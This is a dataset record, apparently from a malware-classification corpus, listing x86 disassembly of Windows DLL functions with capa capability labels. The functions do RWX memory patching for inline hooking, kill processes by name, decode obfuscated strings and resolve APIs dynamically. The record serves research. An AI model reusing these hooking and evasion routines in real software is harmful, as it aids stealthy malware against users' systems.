joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013240
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1008500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.1005ca7e
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x100132d1
test ebx, ebx
je 0x100132d1
test esi, esi
je 0x100132d1
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x10013280
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1005c149
mov esp, ebp
pop ebp
ret 8

Function at 0x10013300
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008500c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x1001333e
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1005c149
mov esp, ebp
pop ebp
ret 4
Function at 0x10013350
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1008500c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10013402
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100133c6
test dl, dl
je 0x100133c2
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100133c6
add ecx, 2
add eax, 2
test dl, dl
jne 0x100133a6
xor eax, eax
jmp 0x100133cb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100133f2
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100133ee
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100133a0
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1005c149
mov esp, ebp
pop ebp
ret

Function at 0x10013420
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1007f610
push 0x1005c3d9
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008500c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x100134ba
cmp edi, 0x1000
jbe 0x100134ba
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001349f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10013490
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100134ba
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005c149
mov esp, ebp
pop ebp
ret
Function at 0x100134e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1007f630
push 0x1005c3d9
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1008500c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, edx
mov edi, ecx
mov dword [ebp - 4], 0
cmp edi, 0x1000
jbe 0x100135ae
cmp ebx, 0x1000
jbe 0x100135ae
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x14
call fcn.1005ca7e
add esp, 4
mov esi, eax
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 0x24]
push eax
push 0x40
push 0x14
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esi], ebx
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 3
jg 0x10013579
mov al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x34], al
inc ecx
jmp 0x10013566
mov word [edi], 0x15ff
xor ecx, ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 3
ja 0x10013593
mov al, byte [ebp + ecx - 0x34]
mov byte [edi + ecx + 2], al
inc ecx
jmp 0x10013580
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x20]
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100135ae
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005c149
mov esp, ebp
pop ebp
ret

Function at 0x100135e0
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov edx, 0xa7
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x100787dc]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x2c], cl
and edx, 0x800000ff
jns 0x1001360d
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x1e
jl 0x100135f0
lea eax, [ebp - 0x2c]
mov byte [ebp - 0xe], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6c64746e
push eax
mov dword [ebp - 8], 0x6c642e6c
mov word [ebp - 4], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 4], 0
push 0x1004e420
push 1
movq qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov word [ebp - 0x10], 0
mov byte [ebp - 0xe], 0
call eax
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x10013680
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1007f650
push 0x1005c3d9
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008500c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001371a
cmp edi, 0x1000
jbe 0x1001371a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe8
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x100136ff
mov byte [esi + eax], 0x90
inc eax
jmp 0x100136f0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001371a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005c149
mov esp, ebp
pop ebp
ret

Function at 0x10013740
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008500c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0xc], eax
push ebx
mov ebx, edx
cmp eax, 0x1000
jbe 0x100137ae
push esi
push edi
lea esi, [ebx + 5]
push esi
call fcn.1005ca7e
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0xc]
push ebx
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
lea ecx, [ebx + edi]
add esp, 0xc
lea eax, [esi - 5]
mov byte [ecx], 0xe9
sub ebx, ecx
add eax, ebx
mov dword [ecx + 1], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005c149
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.1005c149
mov esp, ebp
pop ebp
ret
Function at 0x100137c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f2b1
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x1008500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [0x1008e8ac]
test eax, eax
jne 0x1001396d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10085f0c]
movaps xmm0, xmmword [0x10079a10]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x8cc84bcf
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x28], 0x9ace
mov byte [ebp - 0x26], 0xad
mov eax, dword [esi + 0x1468]
test al, 1
jne 0x1001388c
or eax, 1
mov dword [esi + 0x1468], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0x33fb], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x3c]
mov byte [ecx + esi + 0x33e4], al
add ecx, 1
adc edx, 0
jne 0x10013878
cmp ecx, 0x17
jb 0x10013860
push 0x1006bbf0
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x33e4]
mov ecx, edi
call fcn.100571e0
mov eax, dword [esi + 0x1dc]
mov dword [ebp - 0x1c], 0x80c14bce
mov dword [ebp - 0x18], 0xbb83b5cc
mov word [ebp - 0x14], 0x55d7
mov byte [ebp - 0x12], 0xad
test al, 1
jne 0x1001390c
or eax, 1
mov dword [esi + 0x1dc], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0x39b3], 1
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x39a8], al
add ecx, 1
adc edx, 0
jne 0x100138f8
cmp ecx, 0xb
jb 0x100138e0
push 0x1006bc40
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x39a8]
mov ecx, esi
call fcn.10057240
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013966
push 7
call fcn.1005ca7e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013968
xor eax, eax
mov dword [0x1008e8ac], eax
push 0
push 0
push dword [ebp - 0x40]
mov dword [0x1008c6dc], eax
push ebx
push 0
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005c149
mov esp, ebp
pop ebp
ret
Function at 0x100139a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f341
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1008500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x1008e86c]
test eax, eax
jne 0x10013b4d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10085f0c]
mov dword [ebp - 0x20], 0xa68de920
mov dword [ebp - 0x1c], 0x41ee8d7d
mov dword [ebp - 0x18], 0xad9cf726
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x14], 0xe34e
mov eax, dword [esi + 0x9ec]
test al, 1
jne 0x10013a6c
or eax, 1
mov dword [esi + 0x9ec], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0xa0e], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xa00], al
add ecx, 1
adc edx, 0
jne 0x10013a58
cmp ecx, 0xe
jb 0x10013a40
push 0x1006bc90
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0xa00]
mov ecx, edi
call fcn.10057120
mov eax, dword [esi + 0x2770]
mov dword [ebp - 0x20], 0x8ab7ce3e
mov dword [ebp - 0x1c], 0x1bdfa641
mov dword [ebp - 0x18], 0xc395eb0d
test al, 1
jne 0x10013aec
or eax, 1
mov dword [esi + 0x2770], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x13d0], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x13c4], al
add ecx, 1
adc edx, 0
jne 0x10013ad8
cmp ecx, 0xc
jb 0x10013ac0
push 0x1006bce0
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x13c4]
mov ecx, esi
call fcn.10057180
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013b46
push 7
call fcn.1005ca7e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013b48
xor eax, eax
mov dword [0x1008e86c], eax
push 0
push 0
push 0
push 1
push ebx
mov dword [0x1008b3a4], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005c149
mov esp, ebp
pop ebp
ret
Function at 0x10013b80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f3d1
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1008500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], edx
mov ebx, ecx
mov eax, dword [0x1008e870]
test eax, eax
jne 0x10013d1d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10085f0c]
movaps xmm0, xmmword [0x10079200]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xf
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x388c]
test al, 1
jne 0x10013c3c
or eax, 1
mov dword [esi + 0x388c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x22b9], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x22a8], al
add ecx, 1
adc edx, 0
jne 0x10013c28
cmp ecx, 0x11
jb 0x10013c10
push 0x1006bd30
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x22a8]
mov ecx, edi
call fcn.10057060
mov eax, dword [esi + 0x2154]
mov dword [ebp - 0x20], 0xca2f4058
mov dword [ebp - 0x1c], 0x4535800d
mov dword [ebp - 0x18], 0x830d656b
test al, 1
jne 0x10013cbc
or eax, 1
mov dword [esi + 0x2154], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1018], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x100c], al
add ecx, 1
adc edx, 0
jne 0x10013ca8
cmp ecx, 0xc
jb 0x10013c90
push 0x1006bd80
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x100c]
mov ecx, esi
call fcn.100570c0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013d16
push 7
call fcn.1005ca7e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013d18
xor eax, eax
mov dword [0x1008e870], eax
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp - 0x30]
mov dword [0x1008c140], eax
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005c149
mov esp, ebp
pop ebp
ret
Function at 0x10013d50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f461
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1008500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1008e860]
test eax, eax
jne 0x10013efd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10085f0c]
movaps xmm0, xmmword [0x10079e30]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 9
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x1a6c]
test al, 1
jne 0x10013e1c
or eax, 1
mov dword [esi + 0x1a6c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1811], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1800], al
add ecx, 1
adc edx, 0
jne 0x10013e08
cmp ecx, 0x11
jb 0x10013df0
push 0x1006bdd0
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1800]
mov ecx, edi
call fcn.10056fa0
mov eax, dword [esi + 0x1c78]
mov dword [ebp - 0x20], 0x868d2a5e
mov dword [ebp - 0x1c], 0xdba52afb
mov dword [ebp - 0x18], 0xcfaf0f6d
test al, 1
jne 0x10013e9c
or eax, 1
mov dword [esi + 0x1c78], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xb90], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xb84], al
add ecx, 1
adc edx, 0
jne 0x10013e88
cmp ecx, 0xc
jb 0x10013e70
push 0x1006be20
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xb84]
mov ecx, esi
call fcn.10057000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013ef6
push 7
call fcn.1005ca7e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013ef8
xor eax, eax
mov dword [0x1008e860], eax
push 0
push 0x8404f700
push 0
push 0
push dword [ebp - 0x30]
mov dword [0x1008c02c], eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005c149
mov esp, ebp
pop ebp
ret
Function at 0x10013f40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f4f1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1008500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1008e8bc]
test eax, eax
jne 0x100140dd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10085f0c]
movaps xmm0, xmmword [0x10079310]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x3f
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x3884]
test al, 1
jne 0x10013ffc
or eax, 1
mov dword [esi + 0x3884], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1fd1], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1fc0], al
add ecx, 1
adc edx, 0
jne 0x10013fe8
cmp ecx, 0x11
jb 0x10013fd0
push 0x1006be70
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1fc0]
mov ecx, edi
call fcn.10056ee0
mov eax, dword [esi + 0x67c]
mov dword [ebp - 0x20], 0x58435668
mov dword [ebp - 0x1c], 0x59efb411
mov dword [ebp - 0x18], 0x1161735b
test al, 1
jne 0x1001407c
or eax, 1
mov dword [esi + 0x67c], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3a20], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x3a14], al
add ecx, 1
adc edx, 0
jne 0x10014068
cmp ecx, 0xc
jb 0x10014050
push 0x1006bec0
call fcn.1005cb27
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x3a14]
mov ecx, esi
call fcn.10056f40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x100140d6
push 7
call fcn.1005ca7e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x100140d8
xor eax, eax
mov dword [0x1008e8bc], eax
push dword [ebp + 0x10]
mov dword [0x1008b81c], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005c149
mov esp, ebp
pop ebp
ret